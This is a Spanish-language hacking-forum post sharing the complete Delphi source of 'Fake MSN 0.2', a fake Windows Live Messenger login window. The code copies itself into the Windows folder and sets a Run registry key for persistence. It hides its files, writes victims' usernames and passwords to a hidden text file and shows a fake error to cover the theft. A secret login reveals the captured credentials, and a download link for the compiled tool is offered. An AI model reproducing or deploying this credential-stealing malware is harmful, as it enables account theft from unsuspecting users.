[Delphi] Fake MSN 0.2

  • 0 Respuestas
  • 1995 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Delphi] Fake MSN 0.2

  • en: Noviembre 21, 2012, 02:18:20 pm
Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows[/li]
  • El programa se ejecuta cuando Windows se inicia[/li]
  • Se ocultan los archivos relacionados al programa[/li]
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos[/li][/list]

    Una imagen



    El codigo

    Código: Delphi
    1. {
    2. Fake MSN 0.2
    3. Coded By Doddy H
    4. }
    5.  
    6. unit fake;
    7.  
    8. interface
    9.  
    10. uses
    11.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    12.   Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
    13.  
    14. type
    15.   TForm1 = class(TForm)
    16.     Image1: TImage;
    17.     Edit1: TEdit;
    18.     Edit2: TEdit;
    19.     Image2: TImage;
    20.     procedure Edit1Click(Sender: TObject);
    21.     procedure Edit2Click(Sender: TObject);
    22.     procedure FormCreate(Sender: TObject);
    23.     procedure Image2Click(Sender: TObject);
    24.   private
    25.     { Private declarations }
    26.   public
    27.     { Public declarations }
    28.   end;
    29.  
    30. var
    31.   Form1: TForm1;
    32.  
    33. implementation
    34.  
    35. {$R *.dfm}
    36.  
    37. procedure TForm1.Edit1Click(Sender: TObject);
    38. begin
    39.   Edit1.Text := '';
    40. end;
    41.  
    42. procedure TForm1.Edit2Click(Sender: TObject);
    43. begin
    44.   Edit2.Text := '';
    45.   Edit2.PasswordChar := '*';
    46. end;
    47.  
    48. procedure TForm1.FormCreate(Sender: TObject);
    49.  
    50. var nombrereal: string;
    51.   rutareal: string;
    52.   yalisto: string;
    53.   her: TRegistry;
    54.  
    55. begin
    56.  
    57.   nombrereal := ExtractFileName(ParamStr(0));
    58.   rutareal := ParamStr(0);
    59.   yalisto := 'C:\WINDOWS\' + nombrereal;
    60.  
    61.   MoveFile(Pchar(rutareal), Pchar(yalisto));
    62.  
    63.   her := TRegistry.Create;
    64.   her.RootKey := HKEY_LOCAL_MACHINE;
    65.  
    66.   her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    67.   her.WriteString('uber', yalisto);
    68.   her.Free;
    69.  
    70.   SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
    71.   SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
    72.  
    73. end;
    74.  
    75. procedure TForm1.Image2Click(Sender: TObject);
    76.  
    77. var archivo: TextFile;
    78.   ruta: string;
    79.  
    80. begin
    81.  
    82.   if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
    83.   begin
    84.     WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
    85.   end
    86.   else
    87.   begin
    88.  
    89.     if Edit1.Text = '' then
    90.     begin
    91.       ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu [email protected]');
    92.     end;
    93.     if Edit2.Text = '' then
    94.     begin
    95.       ShowMessage('Escribe tu contraseña');
    96.     end
    97.     else
    98.     begin
    99.       if Edit2.Text = 'Escribe aqui tu contraseña' then
    100.       begin
    101.         ShowMessage('Escribe tu contraseña');
    102.       end
    103.       else
    104.       begin
    105.         ruta := 'c:/windows/datos.txt'; //mod
    106.         if FileExists(ruta) then
    107.         begin
    108.           AssignFile(archivo, ruta);
    109.           FileMode := fmOpenWrite;
    110.           Append(archivo);
    111.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
    112.           CloseFile(archivo);
    113.           Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
    114.           Form1.Close;
    115.         end
    116.         else
    117.         begin
    118.           AssignFile(archivo, ruta);
    119.           FileMode := fmOpenWrite;
    120.           ReWrite(archivo);
    121.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
    122.           CloseFile(archivo);
    123.           Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
    124.           Form1.Close;
    125.         end;
    126.       end;
    127.     end;
    128.   end;
    129.  
    130. end;
    131.  
    132. end.
    133.  
    134. // The End ?
    135.  

    Si quieren bajar el proyecto + el programa compilado lo pueden hacer de Solo los usuarios pueden ver los links. Registrate o Ingresar.

    Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).


 

Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4886
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3180
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 5300
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4063
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX
[Delphi] Creacion de un Troyano de conexion inversa

Iniciado por BigBear

Respuestas: 4
Vistas: 6422
Último mensaje Mayo 05, 2017, 09:10:55 am
por _inicio_cerrarsesión